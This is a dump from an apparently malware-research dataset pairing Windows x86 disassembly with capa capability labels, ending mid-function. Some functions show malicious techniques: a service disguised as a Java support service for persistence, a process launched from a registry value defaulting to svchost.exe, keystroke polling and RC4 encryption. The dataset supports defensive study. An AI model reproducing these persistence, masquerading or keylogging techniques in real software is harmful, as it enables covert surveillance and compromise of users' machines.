joyce8/EMBER2024-capa huggingface dataset:
Function at 0x405dc3
Capabilities:
Query environment variable

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x108
mov eax, dword [0x40d004]
xor eax, ebp
mov dword [ebp - 4], eax
cmp dword [0x40fafc], 0
jne 0x405fbf
push ebx
xor ebx, ebx
mov dword [0x40fafc], 1
mov dword [0x40faf8], ebx
cmp dword [0x40f5d8], ebx
je 0x405e1c
mov dword [0x40f5d8], ebx
call dword [sym.imp.KERNEL32.dll_GetVersion]
cmp eax, 0x80000000
sbb eax, eax
neg eax
mov dword [0x40fae0], eax
jmp 0x405e21
mov eax, dword [0x40fae0]
mov dword [0x40fad8], 0x4057ac
test eax, eax
je 0x405ea5
push 0x401a0c
mov dword [0x40fad4], 0x405c19
mov dword [0x40fb00], 0x405c7d
mov dword [0x40faf4], 0x405cfb
mov dword [0x40fadc], 0x405a08
mov dword [0x40fad0], 0x405d61
mov dword [0x40fac0], 0x405d72
mov dword [0x40fae4], 0x405d83
mov dword [0x40facc], 0x405d94
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test eax, eax
je 0x405ef5
push 0x401a20
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
je 0x405ef5
mov dword [0x40fad8], eax
jmp 0x405ef5
mov dword [0x40fad4], 0x4057b6
mov dword [0x40fb00], 0x405874
mov dword [0x40faf4], 0x405946
mov dword [0x40fadc], 0x405a08
mov dword [0x40fad0], 0x405a19
mov dword [0x40fac0], 0x405a92
mov dword [0x40fae4], 0x405b1b
mov dword [0x40facc], 0x405ba5
push 0x103
lea eax, [ebp - 0x107]
mov dword [0x40fabc], 0x4056af
push ebx
push eax
mov dword [0x40faf0], 0x4056d0
mov dword [0x40fac4], 0x4056e1
mov dword [0x40fb04], 0x405702
mov dword [0x40fb08], 0x405723
mov dword [0x40fb0c], 0x405734
mov dword [0x40fae8], 0x405780
mov dword [0x40faec], 0x405da5
mov byte [ebp - 0x108], bl
call sub.msvcrt.dll_memset
add esp, 0xc
lea eax, [ebp - 0x108]
push 0x104
push eax
push 0x401a3c
call dword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsA]
test eax, eax
je 0x405fb4
push ebx
push ebx
lea eax, [ebp - 0x108]
push eax
call dword [sym.imp.KERNEL32.dll_LoadLibraryExA]
test eax, eax
jne 0x405fa1
push ebx
mov dword [0x40fac8], 0x4057a2
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
jmp 0x405fbe
push 0x401a5c
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [0x40fac8], eax
jmp 0x405fbe
mov dword [0x40fac8], 0x4057a2
pop ebx
mov ecx, dword [ebp - 4]
xor eax, eax
xor ecx, ebp
inc eax
call fcn.0040b8ba
mov esp, ebp
pop ebp
ret

Function at 0x40b127
Capabilities:
Query environment variable

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x210
mov eax, dword [0x40d004]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
push edi
mov esi, 0x104
lea eax, [ebp - 0x210]
push esi
push eax
mov edi, 0x4010bc
push edi
call dword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsW]
cmp eax, esi
jbe 0x40b163
xor eax, eax
mov word [ebp - 0xa], ax
jmp 0x40b175
test eax, eax
jne 0x40b175
push edi
mov edx, esi
lea ecx, [ebp - 0x210]
call fcn.004038c5
lea eax, [ebp - 0x210]
push eax
push 0
call dword [sym.imp.SHELL32.dll_SHCreateDirectory]
mov dword [0x40fb38], eax
cmp eax, 0x50
je 0x40b195
cmp eax, 0xb7
jne 0x40b19c
xor eax, eax
mov dword [0x40fb38], eax
test eax, eax
jne 0x40b1ac
lea eax, [ebp - 0x210]
push eax
call fcn.004041f7
mov ecx, dword [ebp - 4]
pop edi
xor ecx, ebp
pop esi
call fcn.0040b8ba
mov esp, ebp
pop ebp
ret
Function at 0x40b1c1
Capabilities:
Query environment variable

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x214
mov eax, dword [0x40d004]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
mov edi, dword [sym.imp.KERNEL32.dll_GetEnvironmentVariableW]
lea eax, [ebp - 0x210]
push 0x104
mov ebx, ecx
push eax
push ebx
call edi
mov esi, eax
test esi, esi
jne 0x40b254
call sub.KERNEL32.dll_GetLastError
xor edi, edi
mov esi, eax
push edi
push edi
call sub.KERNEL32.dll_GetLastError
push eax
push dword [ebp + 4]
push 0x402714
push ecx
cmp esi, 0xcb
jne 0x40b235
push 0xa6
push edi
push ebx
push 0x402748
push 0x4000000
call fcn.004035b5
pop ecx
pop ecx
jmp 0x40b31d
push 0xa9
push edi
push esi
push ebx
push 0x402798
push 0x2000000
call fcn.004035b5
add esp, 0xc
jmp 0x40b31d
cmp esi, 0x104
jbe 0x40b2e9
lea eax, [esi + esi]
push eax
call dword [sym.imp.msvcrt.dll_malloc]
mov dword [ebp - 0x214], eax
pop ecx
test eax, eax
jne 0x40b29b
xor edi, edi
push edi
push edi
call sub.KERNEL32.dll_GetLastError
push eax
push dword [ebp + 4]
push 0x402714
push ecx
push 0xb2
push edi
push ebx
push 0x402808
push 0x2000000
jmp 0x40b229
push esi
push eax
push ebx
call edi
xor edi, edi
mov esi, eax
push edi
push edi
call sub.KERNEL32.dll_GetLastError
push eax
push dword [ebp + 4]
push 0x402714
push ecx
push 0xb6
push edi
push esi
mov esi, dword [ebp - 0x214]
push esi
push ebx
push 0x402870
push 0x4000000
call fcn.004035b5
add esp, 0x10
xor edx, edx
mov ecx, eax
call fcn.00404c9f
push esi
call dword [sym.imp.msvcrt.dll_free]
pop ecx
jmp 0x40b326
xor edi, edi
push edi
push edi
call sub.KERNEL32.dll_GetLastError
push eax
push dword [ebp + 4]
lea eax, [ebp - 0x210]
push 0x402714
push ecx
push 0xbc
push edi
push esi
push eax
push ebx
push 0x402870
push 0x4000000
call fcn.004035b5
add esp, 0x10
xor edx, edx
mov ecx, eax
call fcn.00404c9f
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.0040b8ba
mov esp, ebp
pop ebp
ret

Function at 0x40b935
Capabilities:
Parse pe header

Disassembly:
push 0xc
push 0x40cc98
call fcn.0040bc14
xor ecx, ecx
mov eax, dword [ebp + 8]
test eax, eax
je 0x40b995
cmp eax, 0xffffffff
je 0x40b995
mov dword [ebp - 4], ecx
mov edx, 0x5a4d
cmp word [eax], dx
jne 0x40b98e
mov edx, dword [eax + 0x3c]
test edx, edx
js 0x40b98e
cmp edx, 0x10000000
jae 0x40b98e
add eax, edx
mov dword [ebp - 0x1c], eax
mov ecx, dword [eax]
sub ecx, 0x4550
neg ecx
sbb ecx, ecx
not ecx
and ecx, eax
jmp 0x40b98b
mov dword [ebp - 0x1c], ecx
mov dword [ebp - 4], 0xfffffffe
mov eax, ecx
call fcn.0040bc59
ret 4

Function at 0x40b9f0
Capabilities:
Enumerate pe sections

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
xor edx, edx
push ebx
push esi
push edi
mov ecx, dword [eax + 0x3c]
add ecx, eax
movzx eax, word [ecx + 0x14]
movzx ebx, word [ecx + 6]
add eax, 0x18
add eax, ecx
test ebx, ebx
je 0x40ba2e
mov edi, dword [ebp + 0xc]
mov esi, dword [eax + 0xc]
cmp edi, esi
jb 0x40ba26
mov ecx, dword [eax + 8]
add ecx, esi
cmp edi, ecx
jb 0x40ba30
inc edx
add eax, 0x28
cmp edx, ebx
jb 0x40ba16
xor eax, eax
pop edi
pop esi
pop ebx
pop ebp
ret
Function at 0x40bb10
Capabilities:
Parse pe header

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
mov ecx, 0x5a4d
cmp word [eax], cx
je 0x40bb26
xor eax, eax
pop ebp
ret
mov ecx, dword [eax + 0x3c]
add ecx, eax
xor eax, eax
cmp dword [ecx], 0x4550
jne 0x40bb41
mov edx, 0x10b
cmp word [ecx + 0x18], dx
sete al
pop ebp
ret
Function at 0x40103d
Capabilities:
Terminate process

Disassembly:
push esi
call fcn.004010c6
mov esi, eax
call fcn.00401092
push 0x403004
push section..data
call fcn.00401078
push 0
push 0x40301c
push esi
call fcn.00401464
add esp, 0x14
mov esi, eax
call fcn.004010aa
push esi
call dword [sym.imp.KERNEL32.dll_ExitProcess]

Function at 0x4010c6
Capabilities:
Accept command line arguments

Disassembly:
push ebx
push esi
xor ebx, ebx
push edi
mov dword [0x40301c], ebx
call dword [sym.imp.KERNEL32.dll_GetCommandLineA]
mov edi, eax
push edi
call dword [sym.imp.KERNEL32.dll_lstrlenA]
inc eax
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov esi, eax
cmp esi, ebx
jne 0x4010fd
xor eax, eax
jmp 0x4011a9
push edi
push esi
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
cmp byte [esi], 0x22
jne 0x401124
inc esi
mov dword [0x40301c], esi
mov al, byte [esi]
cmp al, bl
je 0x40111e
cmp al, 0x22
je 0x40111e
inc esi
jmp 0x401111
cmp byte [esi], bl
jne 0x40113f
jmp 0x4010f6
mov dword [0x40301c], esi
mov al, byte [esi]
cmp al, bl
je 0x40113b
cmp al, 0x20
je 0x40113b
cmp al, 9
je 0x40113b
inc esi
jmp 0x40112a
cmp byte [esi], bl
je 0x401142
mov byte [esi], bl
inc esi
push 1
mov ecx, 0x403020
pop eax
mov dl, byte [esi]
cmp dl, bl
je 0x401155
cmp dl, 0x20
je 0x40115a
cmp dl, 9
jne 0x40115d
inc esi
jmp 0x40114a
mov dl, byte [esi]
cmp dl, bl
je 0x4011a9
cmp dl, 0x22
jne 0x40117f
inc esi
inc eax
mov dword [ecx], esi
add ecx, 4
mov dword [ecx], ebx
mov dl, byte [esi]
cmp dl, bl
je 0x40119a
cmp dl, 0x22
je 0x40119a
inc esi
jmp 0x401171
mov dword [ecx], esi
inc eax
add ecx, 4
mov dword [ecx], ebx
mov dl, byte [esi]
cmp dl, bl
je 0x40119a
cmp dl, 0x20
je 0x40119a
cmp dl, 9
je 0x40119a
inc esi
jmp 0x401187
cmp byte [esi], bl
je 0x4011a9
mov byte [esi], bl
inc esi
cmp ecx, 0x40321c
jl 0x40114a
pop edi
pop esi
pop ebx
ret
Function at 0x401205
Capabilities:
Create process on windows
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x268
push esi
lea eax, [ebp - 4]
push eax
push str.SOFTWAREJavaSoft
push 0x80000002
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyW]
push str.svchost.exe
lea eax, [ebp - 0x268]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyW]
xor esi, esi
cmp dword [ebp - 4], esi
je 0x401271
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 0x268]
push eax
lea eax, [ebp - 8]
push eax
push esi
push str.Supplement
push dword [ebp - 4]
mov dword [ebp - 0xc], 0x208
mov dword [ebp - 8], 3
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea eax, [ebp - 0x60]
push eax
lea eax, [ebp - 0x50]
push eax
push esi
push esi
push 0x8000000
push esi
push esi
push esi
lea eax, [ebp - 0x268]
push eax
push esi
mov dword [ebp - 0x50], 0x44
mov word [ebp - 0x1e], si
mov dword [ebp - 0x28], esi
mov dword [ebp - 0x24], 1
mov dword [ebp - 0x14], esi
mov dword [ebp - 0x18], esi
mov dword [ebp - 0x10], esi
mov dword [ebp - 0x48], esi
mov dword [ebp - 0x4c], esi
mov dword [ebp - 0x1c], esi
mov dword [ebp - 0x44], esi
mov dword [ebp - 0x34], esi
mov dword [ebp - 0x38], esi
mov dword [ebp - 0x3c], esi
mov dword [ebp - 0x40], esi
mov dword [ebp - 0x2c], esi
mov dword [ebp - 0x30], esi
mov word [ebp - 0x20], si
call dword [sym.imp.KERNEL32.dll_CreateProcessW]
pop esi
leave
ret

Function at 0x4012d4
Capabilities:
Create service
Modify service
Persist via windows service

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x214
push esi
push 2
xor esi, esi
push esi
push esi
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerW]
cmp eax, esi
mov dword [ebp - 4], eax
je 0x4013af
push ebx
push edi
push 0x208
lea eax, [ebp - 0x214]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
push esi
push esi
push esi
push esi
push esi
lea eax, [ebp - 0x214]
push eax
push 1
push 2
push 0x110
mov edi, 0xf01ff
push edi
push str.Java_TM__Virtual_Machine_Support_Service
push 0x402144
push dword [ebp - 4]
mov word [ebp - 0xe], si
call dword [sym.imp.ADVAPI32.dll_CreateServiceW]
cmp eax, esi
mov ebx, dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
mov dword [ebp - 0xc], eax
jne 0x40138f
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x431
je 0x40135d
cmp eax, 0x436
jne 0x4013a8
push edi
push 0x402158
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_OpenServiceW]
mov edi, eax
cmp edi, esi
je 0x4013a8
push esi
push esi
push esi
push esi
push esi
push esi
lea eax, [ebp - 0x214]
push eax
push 0xffffffffffffffff
push 2
push 0xffffffffffffffff
push edi
call dword [sym.imp.ADVAPI32.dll_ChangeServiceConfigW]
push edi
jmp 0x4013a6
lea ecx, [ebp - 8]
push ecx
push 1
push eax
mov dword [ebp - 8], str.Java_interoperability_virtual_machine_support_for_continuing_execution_of_code
call dword [sym.imp.ADVAPI32.dll_ChangeServiceConfig2W]
push dword [ebp - 0xc]
call ebx
push dword [ebp - 4]
call ebx
pop edi
pop ebx
pop esi
leave
ret
Function at 0x401dac
Capabilities:
Resolve function by parsing pe exports

Disassembly:
mov edx, dword [edx]
or edx, edx
jne 0x406cab
jmp 0x406ca3
push ecx
push edx
push edi
jmp 0x40559c
push ebp
jmp 0x405781
cmp al, 0x5b
jg 0x402978
add al, 0x20
jmp 0x402978
jmp 0x403463
sub ecx, 1
mov eax, ecx
jmp 0x40382f
pop esi
pop edi
pop edx
jmp 0x4051de
jne 0x4025f2
jmp 0x4040bc
add eax, edi
jmp 0x403e64
stosb byte es:[edi], al
inc ebx
test ax, ax
jmp 0x405ec5
add eax, edi
mov eax, dword [eax]
add eax, edi
jmp 0x402552
jne 0x4034c1
push dword [ebx + 0x18]
pop dword [ebp - 0x108]
jmp 0x405d48
mov ebx, edi
add ebx, dword [ebx + 0x3c]
lea ebx, [ebx + 0x78]
jmp 0x403337
xor eax, dword [ebp + 0x10]
test eax, eax
je 0x4024d2
jmp 0x404208
mov eax, dword [ebx + 8]
mov ebx, dword [ebx]
add ebx, edi
jmp 0x403887
movzx eax, word [eax]
shl eax, 2
add eax, dword [ebx + 0x1c]
jmp 0x4029f1
mov eax, dword [ebp + 0x10]
sub eax, dword [ebp - 0x10c]
jmp 0x4024cd
mov edi, dword [ebp + 8]
jmp 0x4030de
mov ecx, dword fs:[0x30]
jmp 0x40405a
shl eax, 1
add eax, dword [ebx + 0x24]
add eax, edi
jmp 0x40345d
push dword [ebx + 0x10]
pop dword [ebp - 0x10c]
cmp dword [ebp + 0x14], 0
jmp 0x402c98
xor eax, dword [ebp + 0xc]
jne 0x404060
mov edi, dword [ecx + 0x18]
jmp 0x4030de
mov ax, word [edx + ebx*2]
cmp al, 0x40
jl 0x402978
jmp 0x401dd4
add esi, 4
inc ecx
call fcn.0040503a
jmp 0x4032ff
mov ecx, dword [ecx + 0xc]
mov ecx, dword [ecx + 0xc]
mov ecx, dword [ecx]
jmp 0x404264
ret 0x10
xor eax, eax
jmp 0x402552
cmp dword [ebp - 0x108], ecx
jne 0x405a57
jmp 0x4040bc
lea edi, [ebp - 0x104]
push edi
lea edx, [ecx + 0x30]
jmp 0x4015d4
pop ecx
pop ebx
leave
jmp 0x4040b9
push esi
cmp dword [ebp + 8], 0
je 0x403518
jmp 0x403510
mov ebp, esp
add esp, 0xfffffef4
push ebx
jmp 0x401608
jmp 0x404208
mov eax, dword [esi]
or eax, eax
jmp 0x4025e7
mov esi, dword [ebx + 0x20]
add esi, edi
xor ecx, ecx
jmp 0x405a52
jne 0x403e53
pop eax
call fcn.0040503a
jmp 0x403e1a
mov edi, dword [ebp + 0xc]
jmp 0x4030de
xor ebx, ebx
jmp 0x403e53
Function at 0x418050
Capabilities:
Enumerate files on windows

Disassembly:
push 0xffffffffffffffff
push 0x4ab63b
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x180
push ebx
push ebp
mov ebp, ecx
lea ecx, [esp + 8]
lea eax, [ebp + 0x40]
push eax
call fcn.0049d9bc
mov ecx, dword [esp + 8]
mov dword [esp + 0x190], 0
mov eax, dword [ecx - 8]
test eax, eax
je 0x4180d2
lea edx, [esp + 0x10]
push 1
push edx
lea ecx, [esp + 0x10]
call fcn.0049b20e
mov eax, dword [eax]
push 0x634d20
push eax
call fcn.0048cf94
add esp, 8
lea ecx, [esp + 0x10]
test eax, eax
setne bl
call fcn.0049dc47
test bl, bl
je 0x4180d2
push 0x634d20
lea ecx, [esp + 0xc]
call fcn.0049e023
push 0x634d2c
lea ecx, [esp + 0xc]
call fcn.0049e023
mov ecx, dword [esp + 8]
lea eax, [esp + 0x48]
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
cmp eax, 0xffffffff
mov dword [esp + 0xc], eax
jne 0x41810e
lea ecx, [esp + 8]
mov dword [esp + 0x190], eax
call fcn.0049dc47
jmp 0x4181d9
push esi
mov esi, dword [esp + 0x19c]
push edi
mov edi, dword [sym.imp.USER32.dll_SendMessageA]
mov ebx, 0x23
test byte [esp + 0x50], 0x10
je 0x418192
lea edx, [esp + 0x7c]
push 0x634d28
push edx
call fcn.0048cf94
add esp, 8
test eax, eax
je 0x418192
lea eax, [esp + 0x7c]
push 0x634d24
push eax
call fcn.0048cf94
add esp, 8
test eax, eax
je 0x418192
mov eax, dword [ebp + 0x1c]
lea edx, [esp + 0x1c]
push edx
push 0
lea ecx, [esp + 0x84]
push 0x1100
push eax
mov dword [esp + 0x2c], esi
mov dword [esp + 0x30], 0xffff0003
mov dword [esp + 0x4c], 0
mov dword [esp + 0x50], 1
mov dword [esp + 0x44], ecx
mov dword [esp + 0x34], ebx
call edi
mov edx, dword [esp + 0x14]
lea ecx, [esp + 0x50]
push ecx
push edx
call dword [sym.imp.KERNEL32.dll_FindNextFileA]
test eax, eax
jne 0x418122
mov eax, dword [esp + 0x14]
push eax
call dword [sym.imp.KERNEL32.dll_FindClose]
mov ecx, dword [ebp + 0x1c]
push esi
push 2
push 0x1102
push ecx
call edi
lea ecx, [esp + 0x10]
mov dword [esp + 0x198], 0xffffffff
call fcn.0049dc47
pop edi
pop esi
mov ecx, dword [esp + 0x188]
pop ebp
pop ebx
mov dword fs:[0], ecx
add esp, 0x18c
ret 4

Function at 0x418a00
Capabilities:
Query or enumerate registry value

Disassembly:
mov ecx, dword [esp + 8]
mov edx, dword [esp + 4]
sub esp, 0x10c
lea eax, [esp]
push esi
push eax
push 1
push 0
push ecx
push edx
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
mov esi, eax
test esi, esi
jne 0x418a62
mov edx, dword [esp + 4]
lea eax, [esp + 8]
lea ecx, [esp + 0xc]
push eax
push ecx
push esi
push edx
mov dword [esp + 0x18], 0x104
call dword [sym.imp.ADVAPI32.dll_RegQueryValueA]
mov ecx, dword [esp + 0x11c]
lea eax, [esp + 0xc]
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
mov edx, dword [esp + 4]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, esi
pop esi
add esp, 0x10c
ret 0xc
Function at 0x418a70
Capabilities:
Create process on windows

Disassembly:
push 0xffffffffffffffff
push 0x4ab6bb
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x20c
mov eax, dword [0x671110]
push esi
push edi
mov edi, ecx
mov dword [esp + 8], eax
mov eax, dword [edi + 0x44]
mov dword [esp + 0x21c], 0
test eax, eax
jne 0x418ba8
mov ecx, dword [edi + 0x48]
lea esi, [edi + 0x48]
mov eax, dword [ecx - 8]
test eax, eax
jne 0x418ad6
lea ecx, [esp + 8]
mov dword [esp + 0x21c], 0xffffffff
call fcn.0049dc47
xor eax, eax
jmp 0x418c1f
push str.mailto:
lea ecx, [esp + 0xc]
call fcn.0049ddd0
push esi
lea ecx, [esp + 0xc]
call fcn.0049e05f
mov ecx, dword [esp + 8]
push ebx
push ebp
mov ebp, dword [esp + 0x22c]
push ebp
push 0
push 0
push ecx
push str.open
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
mov esi, eax
cmp esi, 0x20
ja 0x418bfd
lea edx, [esp + 0x14]
mov ecx, edi
push edx
push str..htm
push closesocket
call fcn.00418a00
test eax, eax
jne 0x418bfd
mov ebx, dword [sym.imp.KERNEL32.dll_lstrcatA]
lea eax, [esp + 0x14]
push str._shellopencommand
push eax
call ebx
lea ecx, [esp + 0x14]
lea edx, [esp + 0x14]
push ecx
push edx
push closesocket
mov ecx, edi
call fcn.00418a00
test eax, eax
jne 0x418bfd
lea eax, [esp + 0x14]
push str.__1_
push eax
call fcn.0048e0d0
mov esi, eax
add esp, 8
test esi, esi
jne 0x418bdc
lea ecx, [esp + 0x14]
push 0x634d38
push ecx
call fcn.0048e050
mov esi, eax
add esp, 8
test esi, esi
jne 0x418bdc
lea edx, [esp + 0x14]
push edx
call dword [sym.imp.KERNEL32.dll_lstrlenA]
lea esi, [esp + eax + 0x13]
jmp 0x418bdf
lea edx, [edi + 0x4c]
lea ecx, [esp + 8]
push edx
call fcn.0049dd80
mov eax, dword [esp + 8]
mov ecx, dword [eax - 8]
test ecx, ecx
jne 0x418aee
lea ecx, [esp + 8]
mov dword [esp + 0x21c], 0xffffffff
call fcn.0049dc47
xor eax, eax
jmp 0x418c1f
mov byte [esi], 0
push 0x634d34
push esi
call ebx
mov eax, dword [esp + 0x10]
push eax
push esi
call ebx
lea ecx, [esp + 0x14]
push ebp
push ecx
call dword [sym.imp.KERNEL32.dll_WinExec]
mov esi, eax
xor edx, edx
cmp esi, 0x20
setg dl
lea ecx, [esp + 0x10]
mov esi, edx
mov dword [esp + 0x224], 0xffffffff
call fcn.0049dc47
pop ebp
mov eax, esi
pop ebx
mov ecx, dword [esp + 0x214]
pop edi
pop esi
mov dword fs:[0], ecx
add esp, 0x218
ret 4
Function at 0x42f430
Capabilities:
Log keystrokes via polling

Disassembly:
mov eax, dword [esp + 4]
push esi
push edi
mov edi, dword [sym.imp.USER32.dll_GetKeyState]
mov cl, byte [eax + 8]
and ecx, 0xff
mov esi, ecx
cmp si, 0x60
jb 0x42f49e
cmp si, 0x69
ja 0x42f49e
add esi, 0xffd0
cmp si, 0x11
je 0x42f46e
push 0x11
call edi
test ax, ax
jge 0x42f46e
or esi, 0x2000
cmp si, 0x10
je 0x42f483
push 0x10
call edi
test ax, ax
jge 0x42f483
or esi, 0x4000
cmp si, 0x12
je 0x42f498
push 0x12
call edi
test ax, ax
jge 0x42f498
or esi, 0x8000
mov ax, si
pop edi
pop esi
ret
cmp si, 0x6d
jne 0x42f4ab
mov esi, 0xbd
jmp 0x42f45f
cmp si, 0x6e
jne 0x42f4b8
mov esi, 0xbe
jmp 0x42f45f
cmp si, 0x6f
jne 0x42f459
mov esi, 0xbf
jmp 0x42f45f

Function at 0x4310f0
Capabilities:
Encrypt data using rc4 ksa

Disassembly:
push ecx
mov eax, dword [0x6820a0]
xor edx, edx
cmp eax, edx
jne 0x431116
xor eax, eax
mov byte [eax + 0x681fa0], al
inc eax
cmp eax, 0x100
jl 0x4310fe
mov dword [0x6820a0], 1
mov eax, dword [esp + 0xc]
push ebx
mov ebx, dword [esp + 0x14]
push esi
push edi
mov ecx, 0x40
mov esi, 0x681fa0
mov edi, ebx
rep movsd dword es:[edi], dword [esi]
cmp eax, edx
mov byte [ebx + 0x100], dl
mov byte [ebx + 0x101], dl
jle 0x4311a7
xor esi, esi
push ebp
mov byte [esp + 0x20], dl
xor ecx, ecx
mov edi, dword [esp + 0x20]
mov ebp, dword [esp + 0x18]
mov al, byte [esi + ebx]
and edi, 0xff
xor edx, edx
mov dl, byte [edi + ebp]
mov ebp, eax
and ebp, 0xff
add ecx, edx
add ecx, ebp
and ecx, 0x800000ff
jns 0x43117a
dec ecx
or ecx, 0xffffff00
inc ecx
mov byte [esp + 0x10], cl
mov ecx, dword [esp + 0x10]
and ecx, 0xff
mov dl, byte [ecx + ebx]
mov byte [esi + ebx], dl
mov byte [ecx + ebx], al
lea eax, [edi + 1]
cdq
idiv dword [esp + 0x1c]
inc esi
cmp esi, 0x100
mov byte [esp + 0x20], dl
jl 0x431148
pop ebp
pop edi
pop esi
pop ebx
pop ecx
ret

Function at 0x431220
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
mov eax, dword [ebp + 0x10]
push ebx
push esi
push edi
mov cl, byte [eax + 0x100]
mov dl, byte [eax + 0x101]
mov dword [ebp - 8], eax
mov byte [ebp - 1], cl
mov byte [ebp - 2], dl
xor ebx, ebx
mov bl, byte [ebp - 1]
xor edx, edx
mov dl, byte [ebp - 2]
mov esi, dword [ebp - 8]
mov edi, dword [ebp + 8]
xor eax, eax
mov ecx, dword [ebp + 0xc]
test ecx, ecx
jle 0x431273
inc bl
mov al, byte [esi + ebx]
add dl, al
xchg byte [esi + edx], al
mov byte [esi + ebx], al
add al, byte [esi + edx]
mov al, byte [esi + eax]
xor byte [edi], al
inc edi
dec ecx
jne 0x43125a
mov byte [ebp - 1], bl
mov byte [ebp - 2], dl
mov eax, dword [ebp + 0x10]
mov cl, byte [ebp - 1]
mov dl, byte [ebp - 2]
pop edi
pop esi
mov byte [eax + 0x100], cl
mov byte [eax + 0x101], dl
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x4386f0
Capabilities:
Enumerate pe sections

Disassembly:
sub esp, 0x18
mov eax, dword [esp + 0x1c]
push ebx
push ebp
push esi
xor esi, esi
xor ecx, ecx
mov si, word [eax + 8]
mov cx, word [eax + 4]
xor ebp, ebp
xor edx, edx
mov bp, word [eax + 0xa]
mov dx, word [eax + 6]
sub esi, ecx
sub ebp, edx
inc esi
xor ebx, ebx
inc ebp
cmp esi, ebx
mov dword [esp + 0x14], esi
jle 0x438888
cmp ebp, ebx
jle 0x438888
mov eax, esi
push edi
cdq
and edx, 7
add eax, edx
mov edi, eax
mov eax, esi
sar edi, 3
and eax, reloc.OLEAUT32.dll_VariantInit
mov dword [esp + 0x10], edi
jns 0x43874e
dec eax
or eax, 0xfffffff8
inc eax
je 0x438755
inc edi
mov dword [esp + 0x10], edi
mov ecx, edi
and ecx, reloc.WS2_32.dll_accept
jns 0x438764
dec ecx
or ecx, 0xfffffffe
inc ecx
je 0x43876b
inc edi
mov dword [esp + 0x10], edi
push 0x18
call fcn.0049d988
add esp, 4
cmp eax, ebx
je 0x43878c
mov dword [eax], ebx
mov dword [eax + 4], ebx
mov dword [eax + 8], ebx
mov dword [eax + 0xc], ebx
mov dword [eax + 0x10], ebx
mov dword [eax + 0x14], ebx
mov ebx, eax
mov eax, edi
mov dword [esp + 0x14], ebx
imul eax, ebp
push eax
mov dword [ebx], 7
mov dword [ebx + 4], esi
mov dword [ebx + 8], ebp
mov dword [ebx + 0x14], eax
call fcn.0049d988
mov ecx, dword [ebx + 0x14]
mov edi, eax
mov edx, ecx
xor eax, eax
shr ecx, 2
mov dword [ebx + 0x10], edi
add esp, 4
rep stosd dword es:[edi], eax
mov ecx, edx
and ecx, 3
rep stosb byte es:[edi], al
mov eax, dword [esp + 0x2c]
test ebp, ebp
lea edx, [eax + 0x80]
jle 0x43887e
xor eax, eax
mov dword [esp + 0x20], ebp
mov dword [esp + 0x1c], eax
mov ebp, dword [ebx + 0x10]
xor ecx, ecx
add ebp, eax
mov dword [esp + 0x2c], ecx
test esi, esi
jle 0x438865
mov al, byte [edx]
cmp al, 0xc0
jbe 0x438851
and eax, 0xff
sub eax, 0xc0
inc edx
mov esi, eax
mov dword [esp + 0x24], edx
cmp esi, 1
jle 0x438846
xor eax, eax
mov ecx, esi
mov al, byte [edx]
mov edx, ecx
mov bl, al
mov edi, ebp
mov bh, bl
dec esi
mov eax, ebx
shl eax, 0x10
mov ax, bx
mov ebx, dword [esp + 0x14]
shr ecx, 2
rep stosd dword es:[edi], eax
mov ecx, edx
mov edx, dword [esp + 0x24]
and ecx, 3
add ebp, esi
rep stosb byte es:[edi], al
mov eax, dword [esp + 0x2c]
lea ecx, [eax + esi*8]
mov esi, dword [esp + 0x18]
jmp 0x438854
mov al, byte [edx]
mov esi, dword [esp + 0x18]
mov byte [ebp], al
jmp 0x438854
mov byte [ebp], al
inc ebp
add ecx, 8
inc edx
cmp ecx, esi
mov dword [esp + 0x2c], ecx
jl 0x4387f0
mov eax, dword [esp + 0x1c]
mov edi, dword [esp + 0x10]
mov ecx, dword [esp + 0x20]
add eax, edi
dec ecx
mov dword [esp + 0x1c], eax
mov dword [esp + 0x20], ecx
jne 0x4387e1
pop edi
pop esi
mov eax, ebx
pop ebp
pop ebx
add esp, 0x18
ret
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0x18
ret

Function at 0x43aae0
Capabilities:
Initialize winsock library

Disassembly:
sub esp, 0x190
push esi
mov esi, ecx
call fcn.0049f2e1
